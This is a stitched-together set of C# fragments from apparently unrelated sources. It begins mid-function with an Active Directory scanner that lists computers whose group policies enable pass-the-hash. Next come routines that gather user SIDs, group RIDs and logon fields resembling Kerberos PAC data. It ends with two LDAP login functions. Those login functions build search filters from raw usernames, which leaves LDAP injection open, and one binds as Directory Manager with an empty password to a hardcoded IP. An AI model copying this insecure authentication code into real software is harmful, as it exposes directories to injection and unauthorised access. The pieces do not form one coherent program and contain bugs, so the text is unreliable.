            DC_array           = domain.Split('.');

            foreach (String DC in DC_array)
            {
                distinguished_name += ",DC=" + DC;
            }

            System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(domainController, 389);
            System.DirectoryServices.Protocols.LdapConnection          connection = null;

            connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
            connection.SessionOptions.Sealing = true;
            connection.SessionOptions.Signing = true;

            try
            {
                connection.Bind();
            }
            catch
            {
                Console.WriteLine("The domain controller cannot be contacted. Exiting...\n");
                return;
            }

            SearchRequest requestGUID = null;

            if (string.Equals(searchScope, "SubTree"))
            {
                requestGUID = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=*", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
            }
            else if (string.Equals(searchScope, "OneLevel"))
            {
                requestGUID = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=*", System.DirectoryServices.Protocols.SearchScope.OneLevel, null);
            }
            else if (string.Equals(searchScope, "Base"))
            {
                requestGUID = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=*", System.DirectoryServices.Protocols.SearchScope.Base, null);
            }

            SearchResponse responseGUID = null;

            try
            {
                responseGUID = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(requestGUID);
            }
            catch
            {
                Console.WriteLine("\n[!] Search scope is not valid. Exiting...\n");
                return;
            }

            if (!string.IsNullOrEmpty(Options.searchBase))
            {
                string adPath = "LDAP://" + domain + searchBase;
                if (!DirectoryEntry.Exists(adPath))
                {
                    Console.WriteLine("\n[!] Search base {0} is not valid. Exiting...\n", adPath);
                    return;
                }
            }

            Console.WriteLine("\n[-] Domain Controller is: {0}\n[-] Domain is: {1}\n", domainController, domain);

            foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in responseGUID.Entries)
            {
                try
                {
                    var requestAttributes  = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=" + entry.Attributes["cn"][0].ToString(), System.DirectoryServices.Protocols.SearchScope.OneLevel, null);
                    var responseAttributes = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(requestAttributes);
                    foreach (System.DirectoryServices.Protocols.SearchResultEntry attribute in responseAttributes.Entries)
                    {
                        try
                        {
                            string displayName    = entry.Attributes["displayName"][0].ToString();
                            string name           = entry.Attributes["name"][0].ToString();
                            string gpcfilesyspath = entry.Attributes["gpcfilesyspath"][0].ToString();

                            string uncPathGptTmpl = gpcfilesyspath + @"\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf";

                            bool enableLUA = CheckEnableLUA(uncPathGptTmpl);

                            if (enableLUA)
                            {
                                if (verbose)
                                {
                                    Console.WriteLine("[+] The following GPO enables pass-the-hash by disabling EnableLUA: {0} {1}", displayName, name);
                                }
                                listEnableLUA.Add(name);
                            }

                            bool FilterAdministratorToken = CheckFilterAdministratorToken(uncPathGptTmpl);

                            if (FilterAdministratorToken)
                            {
                                if (verbose)
                                {
                                    Console.WriteLine("[+] The following GPO exempts the RID 500 account from UAC protection by disabling FilterAdministratorToken: {0} {1}", displayName, name);
                                }
                                listFilterAdministratorToken.Add(name);
                            }

                            string uncPathRegistryXML = gpcfilesyspath + @"\MACHINE\Preferences\Registry\Registry.xml";

                            bool LocalAccountTokenFilterPolicy = CheckLocalAccountTokenFilterPolicy(uncPathRegistryXML);

                            if (LocalAccountTokenFilterPolicy)
                            {
                                if (verbose)
                                {
                                    Console.WriteLine("[+] The following GPO enables pass-the-hash by enabling LocalAccountTokenFilterPolicy: {0} {1}", displayName, name);
                                }
                                listLocalAccountTokenFilterPolicy.Add(name);
                            }

                            bool SeDenyNetworkLogonRight = CheckSeDenyNetworkLogonRight(uncPathGptTmpl);

                            if (SeDenyNetworkLogonRight)
                            {
                                if (verbose)
                                {
                                    Console.WriteLine("[+] The following GPO includes the built-in Administrators group within the SeDenyNetworkLogonRight: {0} {1}", displayName, name);
                                }
                                listSeDenyNetworkLogonRight.Add(name);
                            }

                            bool SeDenyRemoteInteractiveLogonRight = CheckSeDenyRemoteInteractiveLogonRight(uncPathGptTmpl);

                            if (SeDenyRemoteInteractiveLogonRight)
                            {
                                if (verbose)
                                {
                                    Console.WriteLine("[+] The following GPO includes the built-in Administrators group within the SeDenyRemoteInteractiveLogonRight: {0} {1}\n", displayName, name);
                                }
                                listSeDenyRemoteInteractiveLogonRight.Add(name);
                            }
                        }
                        catch
                        {
                            Console.WriteLine("[!] It was not possible to retrieve the displayname, name and gpcfilesypath...\n");
                            return;
                        }
                    }
                }
                catch
                {
                    Console.WriteLine("[!] It was not possible to retrieve GPO Policies...\n");
                    return;
                }
            }

            Console.Write("\n[+] EnableLUA: \t\t\t\t");
            foreach (var guid in listEnableLUA)
            {
                DirectoryEntry startingPoint = null;
                string         filterGPLink  = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))";

                if (string.IsNullOrEmpty(searchBase))
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain);
                }
                else
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase);
                }

                DirectorySearcher searcher = new DirectorySearcher(startingPoint);
                searcher.Filter = filterGPLink;

                foreach (SearchResult OU in searcher.FindAll())
                {
                    DirectoryEntry    startingPoint1 = new DirectoryEntry(OU.Path);
                    DirectorySearcher searcherOU     = new DirectorySearcher(startingPoint1);
                    searcherOU.Filter = "(&(samAccountType=805306369))";
                    foreach (SearchResult computerObject in searcherOU.FindAll())
                    {
                        DirectoryEntry computer = computerObject.GetDirectoryEntry();
                        if (!(computerPolicyEnableLUA.Contains(computer.Properties["dNSHostName"].Value.ToString())))
                        {
                            Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString());
                        }
                        computerPolicyEnableLUA.Add(computer.Properties["dNSHostName"].Value.ToString());
                    }
                }
            }
            //Console.Write("\n");

            Console.Write("\n[+] FilterAdministratorToken: \t\t");
            foreach (var guid in listFilterAdministratorToken)
            {
                DirectoryEntry startingPoint = null;
                string         filterGPLink  = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))";
                if (string.IsNullOrEmpty(searchBase))
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain);
                }
                else
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase);
                }

                DirectorySearcher searcher = new DirectorySearcher(startingPoint);
                searcher.Filter = filterGPLink;

                foreach (SearchResult OU in searcher.FindAll())
                {
                    DirectoryEntry    startingPoint1 = new DirectoryEntry(OU.Path);
                    DirectorySearcher searcherOU     = new DirectorySearcher(startingPoint1);
                    searcherOU.Filter = "(&(samAccountType=805306369))";
                    foreach (SearchResult computerObject in searcherOU.FindAll())
                    {
                        DirectoryEntry computer = computerObject.GetDirectoryEntry();
                        if (!(computerPolicyFilterAdministratorToken.Contains(computer.Properties["dNSHostName"].Value.ToString())))
                        {
                            Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString());
                        }
                        computerPolicyFilterAdministratorToken.Add(computer.Properties["dNSHostName"].Value.ToString());
                    }
                }
            }
            Console.Write("\n");

            Console.Write("[+] LocalAccountTokenFilterPolicy: \t");
            foreach (var guid in listLocalAccountTokenFilterPolicy)
            {
                DirectoryEntry startingPoint = null;
                string         filterGPLink  = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))";
                if (string.IsNullOrEmpty(searchBase))
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain);
                }
                else
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase);
                }

                DirectorySearcher searcher = new DirectorySearcher(startingPoint);
                searcher.Filter = filterGPLink;

                foreach (SearchResult OU in searcher.FindAll())
                {
                    DirectoryEntry    startingPoint1 = new DirectoryEntry(OU.Path);
                    DirectorySearcher searcherOU     = new DirectorySearcher(startingPoint1);
                    searcherOU.Filter = "(&(samAccountType=805306369))";
                    foreach (SearchResult computerObject in searcherOU.FindAll())
                    {
                        DirectoryEntry computer = computerObject.GetDirectoryEntry();
                        if (!(computerPolicyLocalAccountTokenFilterPolicy.Contains(computer.Properties["dNSHostName"].Value.ToString())))
                        {
                            Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString());
                        }
                        computerPolicyLocalAccountTokenFilterPolicy.Add(computer.Properties["dNSHostName"].Value.ToString());
                    }
                }
            }
            Console.Write("\n");

            Console.Write("[+] SeDenyNetworkLogonRight: \t\t");
            foreach (var guid in listSeDenyNetworkLogonRight)
            {
                DirectoryEntry startingPoint = null;
                string         filterGPLink  = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))";
                if (string.IsNullOrEmpty(searchBase))
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain);
                }
                else
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase);
                }

                DirectorySearcher searcher = new DirectorySearcher(startingPoint);
                searcher.Filter = filterGPLink;

                foreach (SearchResult OU in searcher.FindAll())
                {
                    DirectoryEntry    startingPoint1 = new DirectoryEntry(OU.Path);
                    DirectorySearcher searcherOU     = new DirectorySearcher(startingPoint1);
                    searcherOU.Filter = "(&(samAccountType=805306369))";
                    foreach (SearchResult computerObject in searcherOU.FindAll())
                    {
                        DirectoryEntry computer = computerObject.GetDirectoryEntry();
                        if (!(computerPolicySeDenyNetworkLogonRight.Contains(computer.Properties["dNSHostName"].Value.ToString())))
                        {
                            Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString());
                        }
                        computerPolicySeDenyNetworkLogonRight.Add(computer.Properties["dNSHostName"].Value.ToString());
                    }
                }
            }
            Console.Write("\n");

            Console.Write("[+] SeDenyRemoteInteractiveLogonRight: \t");
            foreach (var guid in listSeDenyRemoteInteractiveLogonRight)
            {
                DirectoryEntry startingPoint = null;
                string         filterGPLink  = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))";
                if (string.IsNullOrEmpty(searchBase))
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain);
                }
                else
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase);
                }
                DirectorySearcher searcher = new DirectorySearcher(startingPoint);
                searcher.Filter = filterGPLink;

                foreach (SearchResult OU in searcher.FindAll())
                {
                    DirectoryEntry    startingPoint1 = new DirectoryEntry(OU.Path);
                    DirectorySearcher searcherOU     = new DirectorySearcher(startingPoint1);
                    searcherOU.Filter = "(&(samAccountType=805306369))";
                    foreach (SearchResult computerObject in searcherOU.FindAll())
                    {
                        DirectoryEntry computer = computerObject.GetDirectoryEntry();
                        if (!(computerPolicySeDenyRemoteInteractiveLogonRight.Contains(computer.Properties["dNSHostName"].Value.ToString())))
                        {
                            Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString());
                        }
                        computerPolicySeDenyRemoteInteractiveLogonRight.Add(computer.Properties["dNSHostName"].Value.ToString());
                    }
                }
            }
            Console.Write("\n");
        }
        public static uint[] GetGroupIds(SearchResultAttributeCollection attributes, string domainName, NetworkCredential cred)
        {
            LdapConnection connection = new LdapConnection(domainName);
            connection.Credential = cred;
            int groupCount = attributes["memberOf"].Count + 1;
            uint[] rid = new uint[groupCount];

            //Fix me
            //The built-in groupmembership Domain Users Rid = 513
            rid[0] = 513;
            for (int i = 1; i < groupCount; i++)
            {
                string dn = GetDomainDnFromDomainName(domainName);
                string targetOu = "cn=Users," + dn;
                string[] filter = attributes["memberOf"][i - 1].ToString().Split(',');
                SearchRequest searchRequest = new SearchRequest(targetOu, filter[0], SearchScope.Subtree, "objectSid");
                SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
                if (searchResponse.Entries.Count > 1)
                {
                    throw new Exception("There are more than one entries with the same groupName.");
                }
                SearchResultAttributeCollection groupAttributes = searchResponse.Entries[0].Attributes;
                string[] tmp = GetobjectSid(groupAttributes).Split('-');
                rid[i] = Convert.ToUInt32(tmp[tmp.Length - 1]);
            }

            return rid;
        }
        public static uint[] GetDomainSid(string domainName, NetworkCredential cred)
        {
            LdapConnection connection = new LdapConnection(domainName);
            connection.Credential = cred;
            string dn = GetDomainDnFromDomainName(domainName);
            string filter = "(objectClass=*)";
            SearchRequest searchRequest = new SearchRequest(dn, filter, SearchScope.Base, "objectSid");
            SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
            if (searchResponse.Entries.Count > 1)
            {
                throw new Exception("There are more than one entries with the same domain distinguishedName.");
            }
            SearchResultAttributeCollection domainObjAttributes = searchResponse.Entries[0].Attributes;
            string[] tmp = GetobjectSid(domainObjAttributes).Split('-');
            uint[] domainSid = new uint[tmp.Length - 3];
            for (int i=0; i<tmp.Length-3; i++)
            {
                domainSid[i] = Convert.ToUInt32(tmp[i + 3]);
            }

            return domainSid;
        }
        public static commonUserFields GetCommonUserFields(string domainName, string userName, NetworkCredential cred)
        {
            LdapConnection connection = new LdapConnection(domainName);
            connection.Credential = cred;
            string dn = GetDomainDnFromDomainName(domainName);
            string targetOu = "cn=Users," + dn;
            string filter = "cn=" + userName;
            string[] attributesToReturn = new string[] { "lastLogon", "logonHours", "accountExpires", "pwdLastSet", "dBCSPwd", "unicodePwd", "userAccountControl", "logonCount", "badPwdCount", "objectSid", "primaryGroupID", "memberOf" };
            commonUserFields userFields = new commonUserFields();

            SearchRequest searchRequest = new SearchRequest(targetOu, filter, SearchScope.Subtree, attributesToReturn);

            SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
            if (searchResponse.Entries.Count > 1)
            {
                throw new Exception("There are more than one entries with the same userName.");
            }
            SearchResultAttributeCollection attributes = searchResponse.Entries[0].Attributes;

            userFields.LogonTime = GetAttributeFileTime(attributes, "lastLogon");
            userFields.LogonHours = GetAttributeFileTime(attributes, "logonHours");
            userFields.AccountExpires = GetAttributeFileTime(attributes, "accountExpires");
            userFields.LogoffTime = GetLogoffTime(userFields.LogonHours, userFields.AccountExpires);
            userFields.KickOffTime = GetKickoffTime(userFields.LogoffTime);
            userFields.PasswordLastSet = GetAttributeFileTime(attributes, "pwdLastSet");
            userFields.dBCSPwd = GetAttributeFileTime(attributes, "dBCSPwd");
            userFields.unicodePwd = GetAttributeFileTime(attributes, "unicodePwd");
            userFields.PasswordCanChange = GetPasswordCanChange(userFields.dBCSPwd, userFields.unicodePwd, userFields.PasswordLastSet);

            object attributeValue = null;
            attributeValue =  getAttributeValue(attributes, "userAccountControl");
            userFields.userAccountControl = (uint?) Convert.ToInt32(attributeValue);

            userFields.PasswordMustChange = GetPasswordMustChange(userFields.userAccountControl, userFields.PasswordLastSet);
            userFields.LogonCount = GetAttributeUshort(attributes, "logonCount");
            userFields.BadPwdCount = GetAttributeUshort(attributes, "badPwdCount");
            userFields.objectSid = GetobjectSid(attributes);
            if (userFields.objectSid == null)
            {
                userFields.userId = null;
            }
            else
            {
                string[] tmp = userFields.objectSid.Split('-');
                userFields.userId = Convert.ToUInt32(tmp[tmp.Length - 1]);
            }

            attributeValue = getAttributeValue(attributes, "primaryGroupID");
            userFields.primaryGroupId = (uint?)Convert.ToInt32(attributeValue);

            userFields.groupCount = GetGroupCount(attributes);
            if (userFields.groupCount > 0)
            {
                userFields.groupIds = GetGroupIds(attributes, domainName, cred);
            }

            userFields.domainSid = GetDomainSid(domainName, cred);
            return userFields;
        }
        public DirectoryEntry Validate(string username, string password)
        {
            var config = Config.Get<Settings>();
            var directory = new LdapDirectoryIdentifier(
                config.Host,
                config.Port,
                fullyQualifiedDnsHostName: true,
                connectionless: false);

            var credential = new NetworkCredential(
                config.Username,
                config.Password);

            var ldapConnection = new LdapConnection(directory, credential)
            {
                AuthType = AuthType.Basic
            };
            try
            {
                ldapConnection.SessionOptions.ProtocolVersion = 3;

                var request = new SearchRequest(
                        config.DistinguishedName,
                        "(&(objectClass=*)(uid=" + username + "))",
                        SearchScope.Subtree,
                        new string[] { "uid", "givenName", "sn", "mail" });

                var result = (SearchResponse)ldapConnection.SendRequest(request);

                if (result.Entries.Count == 0)
                    return null;

                var item = result.Entries[0];
                try
                {
                    ldapConnection.Bind(new NetworkCredential(item.DistinguishedName, password));
                }
                catch (Exception ex)
                {
                    Log.Error("Error authenticating user", ex, this.GetType());
                    return null;
                }

                // make sure to check these attribute names match with your LDAP attributes
                var uid = item.Attributes["uid"];
                var firstName = item.Attributes["givenName"];
                var lastName = item.Attributes["sn"];
                var email = item.Attributes["mail"];

                var entry = new DirectoryEntry
                {
                    Username = uid[0] as string,
                    FirstName = uid.Count > 0 ? firstName[0] as string : null,
                    LastName = lastName.Count > 0 ? lastName[0] as string : null,
                    Email = email.Count > 0 ? email[0] as string : null
                };

                return entry;
            }
            finally
            {
                try
                {
                    ldapConnection.Dispose();
                }
                catch
                {
                }
            }
        }
        //private string _path;
        //private string _filterAttribute;
        //private ILog log;
        //public LdapAuthentication(string path)
        //{
        //    _path = path;
        //    log = LogManager.GetLogger(this.GetType());
        //}

        public static bool IsAuthenticated(string username, string pwd)
        {
            //string domainAndUsername = (String.IsNullOrEmpty(domain) ? "" : @"\") + username;
            try
            {
                var credential = new NetworkCredential("cn=Directory Manager", "");
                var entry = new LdapConnection("10.243.1.123")
                                {
                                    AuthType = AuthType.Basic,
                                    Credential = credential
                                };
                entry.SessionOptions.ProtocolVersion = 3;
                entry.Bind();
                var searchRequest = new SearchRequest("dc=gmcc,dc=net", "uid=" + username, SearchScope.Subtree);
                var a = (SearchResponse)entry.SendRequest(searchRequest, new TimeSpan(0, 0, 0, 30));
                if (a.Entries.Count == 0)
                    return false;
                try
                {
                    var newC = new NetworkCredential(a.Entries[0].DistinguishedName, pwd);
                    entry.Credential = newC;
                    entry.Bind();
                }
                catch
                {
                    return false;
                }
                return true;

            }
            catch (Exception ex)
            {
                throw new Exception("Error authenticating user. " + ex.Message);
            }
        }